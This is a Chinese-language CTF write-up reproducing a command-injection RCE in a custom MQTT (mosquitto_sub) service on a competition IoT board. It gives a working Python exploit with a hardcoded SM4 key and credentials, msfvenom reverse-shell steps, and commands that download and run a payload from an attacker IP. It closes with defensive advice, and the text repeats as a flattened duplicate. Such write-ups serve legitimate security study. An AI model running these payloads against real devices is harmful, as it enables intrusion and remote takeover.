西湖论剑决赛IoT开发板 rce复现
字数 1527 2025-08-22 12:23:25

MQTT服务命令注入漏洞分析与利用教学

1. 漏洞背景

本教学基于西湖论剑2024决赛IoT开发板中的MQTT服务命令注入漏洞(RCE)进行详细分析。该漏洞存在于一个自定义的mosquitto_sub进程中,通过精心构造的MQTT消息可实现远程命令执行。

2. MQTT基础

2.1 MQTT简介

MQTT(Message Queuing Telemetry Transport)是ISO标准(ISO/IEC PRF 20922)下基于发布/订阅范式的消息协议,特点包括:

  • 工作在TCP/IP协议族上
  • 专为硬件性能低下的远程设备和网络状况糟糕的环境设计
  • 轻量级,适合物联网设备通信

2.2 Mosquitto介绍

Mosquitto是一款实现了MQTT协议(v5.0, v3.1.1, v3.1)的开源消息代理软件:

  • 提供轻量级的发布/订阅消息推送模式
  • 广泛应用于低功耗传感器、嵌入式设备等场景
  • 本案例中运行在1883端口,并通过8888端口转发

3. 漏洞分析

3.1 漏洞位置

漏洞存在于自定义的mosquitto_sub进程中,该进程:

  • 指定了"block"和"logs"两个topic
  • 处理"logs" topic的消息时会调用system函数在"/var/log"目录生成文件

3.2 漏洞触发流程

  1. 客户端向"logs" topic发布特定格式的JSON消息
  2. 服务端解析消息中的"info"字段
  3. 字段内容经过SM4加密和Base64编码处理
  4. 处理后的内容被直接拼接到system命令中执行

3.3 关键代码逻辑

逆向分析发现的关键处理流程:

  1. 输入数据格式:{"log":1,"timestamp":"...","info":"..."}
  2. "info"字段内容经过两轮处理变成info2
  3. info2校验通过后被拼接到system命令中
  4. 注入"\n/bin/sh\n"等字符串可实现命令注入

4. 漏洞利用

4.1 利用条件

  1. 认证信息:用户名"xhlj2024",密码"2758934"
  2. 目标地址:192.168.1.1:8888
  3. 消息长度限制:总字符串长度不超过0x60

4.2 利用步骤

4.2.1 准备反弹shell

使用msfvenom生成MIPS架构的反弹shell:

msfconsole
use payload/linux/mipsle/shell_reverse_tcp
set LHOST <攻击机IP>
set LPORT 6666
generate -f elf -o m

4.2.2 构造利用代码

完整Python利用代码(关键函数):

import time
import struct
import base64
import paho.mqtt.client as mqtt
from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT

def pack_key(v24):
    key_bytes = b''
    for i in range(4):
        key_bytes += struct.pack('<I', v24[i])  # 小端序打包
    return key_bytes

def encode_sm4(value, key):
    crypt_sm4 = CryptSM4()
    crypt_sm4.set_key(key, SM4_ENCRYPT)
    return crypt_sm4.crypt_ecb(value)

def get_input(command):
    v24 = [0x9845DC01, 0x10CD5489, 0x67BA23FE, 0xEF32AB76]
    key_bytes = pack_key(v24)
    cmd = b'"\n' + command + b'\n'
    cmd = cmd.ljust(0x20, b"a")  # 填充到32字节
    
    sm4_encode = encode_sm4(cmd, key_bytes)
    if len(sm4_encode) > 0x30:
        print("[!] SM4加密后数据过长")
        exit(0)
        
    after_base64_decode = b"\xbf" + sm4_encode
    mos_input = base64.b64encode(after_base64_decode)
    return mos_input.decode()

4.2.3 执行利用

  1. 构造三条命令:

    • 下载恶意文件:wget http://<攻击机IP>:9/m -O /m
    • 添加执行权限:chmod +x /m
    • 执行文件:/m
  2. 构造对应的MQTT消息:

cmd1 = b'wget http://192.168.1.219:9/m -O /m'
cmd2 = b'chmod +x /m'
cmd3 = b'/m'

input1 = get_input(cmd1)
input2 = get_input(cmd2)
input3 = get_input(cmd3)

p1 = '{"log":1,"timestamp":"11-11-11:11:11","info":"' + input1 + '"}'
p2 = '{"log":1,"timestamp":"11-11-11:11:11","info":"' + input2 + '"}'
p3 = '{"log":1,"timestamp":"11-11-11:11:11","info":"' + input3 + '"}'
  1. 发送MQTT消息:
client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION1)
client.username_pw_set(username="xhlj2024", password="2758934")
client.connect("192.168.1.1", 8888)

topic = "logs"
client.publish(topic, p1)
time.sleep(2)
client.publish(topic, p2)
time.sleep(2)
client.publish(topic, p3)

client.disconnect()

5. 加密处理分析

5.1 SM4加密

  1. 使用固定密钥:[0x9845DC01, 0x10CD5489, 0x67BA23FE, 0xEF32AB76]
  2. 加密模式:ECB模式
  3. 填充方式:使用"a"字符填充到32字节

5.2 Base64编码

  1. 在SM4加密结果前添加\xbf字节
  2. 对整个结果进行Base64编码
  3. 最终长度必须能被4整除

6. 防御建议

  1. 输入验证:

    • 严格过滤\n等特殊字符
    • 使用白名单验证输入内容
  2. 安全编码:

    • 避免直接使用system等危险函数
    • 使用execve等更安全的替代方案
  3. 加密改进:

    • 使用动态密钥而非固定密钥
    • 添加完整性校验机制
  4. 权限控制:

    • 以低权限用户运行服务
    • 实施最小权限原则

7. 总结

本漏洞展示了IoT设备中常见的几类安全问题:

  1. 不安全的输入处理导致命令注入
  2. 硬编码密钥带来的风险
  3. 不安全的函数调用(system)
  4. 缺乏足够的输入验证

通过分析此类漏洞,安全研究人员可以更好地理解IoT设备的安全威胁模型,并采取相应的防护措施。

MQTT服务命令注入漏洞分析与利用教学 1. 漏洞背景 本教学基于西湖论剑2024决赛IoT开发板中的MQTT服务命令注入漏洞(RCE)进行详细分析。该漏洞存在于一个自定义的 mosquitto_sub 进程中,通过精心构造的MQTT消息可实现远程命令执行。 2. MQTT基础 2.1 MQTT简介 MQTT(Message Queuing Telemetry Transport)是ISO标准(ISO/IEC PRF 20922)下基于发布/订阅范式的消息协议,特点包括: 工作在TCP/IP协议族上 专为硬件性能低下的远程设备和网络状况糟糕的环境设计 轻量级,适合物联网设备通信 2.2 Mosquitto介绍 Mosquitto是一款实现了MQTT协议(v5.0, v3.1.1, v3.1)的开源消息代理软件: 提供轻量级的发布/订阅消息推送模式 广泛应用于低功耗传感器、嵌入式设备等场景 本案例中运行在1883端口,并通过8888端口转发 3. 漏洞分析 3.1 漏洞位置 漏洞存在于自定义的 mosquitto_sub 进程中,该进程: 指定了"block"和"logs"两个topic 处理"logs" topic的消息时会调用system函数在"/var/log"目录生成文件 3.2 漏洞触发流程 客户端向"logs" topic发布特定格式的JSON消息 服务端解析消息中的"info"字段 字段内容经过SM4加密和Base64编码处理 处理后的内容被直接拼接到system命令中执行 3.3 关键代码逻辑 逆向分析发现的关键处理流程: 输入数据格式: {"log":1,"timestamp":"...","info":"..."} "info"字段内容经过两轮处理变成info2 info2校验通过后被拼接到system命令中 注入 "\n/bin/sh\n" 等字符串可实现命令注入 4. 漏洞利用 4.1 利用条件 认证信息:用户名"xhlj2024",密码"2758934" 目标地址:192.168.1.1:8888 消息长度限制:总字符串长度不超过0x60 4.2 利用步骤 4.2.1 准备反弹shell 使用msfvenom生成MIPS架构的反弹shell: 4.2.2 构造利用代码 完整Python利用代码(关键函数): 4.2.3 执行利用 构造三条命令: 下载恶意文件: wget http://<攻击机IP>:9/m -O /m 添加执行权限: chmod +x /m 执行文件: /m 构造对应的MQTT消息: 发送MQTT消息: 5. 加密处理分析 5.1 SM4加密 使用固定密钥: [0x9845DC01, 0x10CD5489, 0x67BA23FE, 0xEF32AB76] 加密模式:ECB模式 填充方式:使用"a"字符填充到32字节 5.2 Base64编码 在SM4加密结果前添加 \xbf 字节 对整个结果进行Base64编码 最终长度必须能被4整除 6. 防御建议 输入验证: 严格过滤 \n 等特殊字符 使用白名单验证输入内容 安全编码: 避免直接使用system等危险函数 使用execve等更安全的替代方案 加密改进: 使用动态密钥而非固定密钥 添加完整性校验机制 权限控制: 以低权限用户运行服务 实施最小权限原则 7. 总结 本漏洞展示了IoT设备中常见的几类安全问题: 不安全的输入处理导致命令注入 硬编码密钥带来的风险 不安全的函数调用(system) 缺乏足够的输入验证 通过分析此类漏洞,安全研究人员可以更好地理解IoT设备的安全威胁模型,并采取相应的防护措施。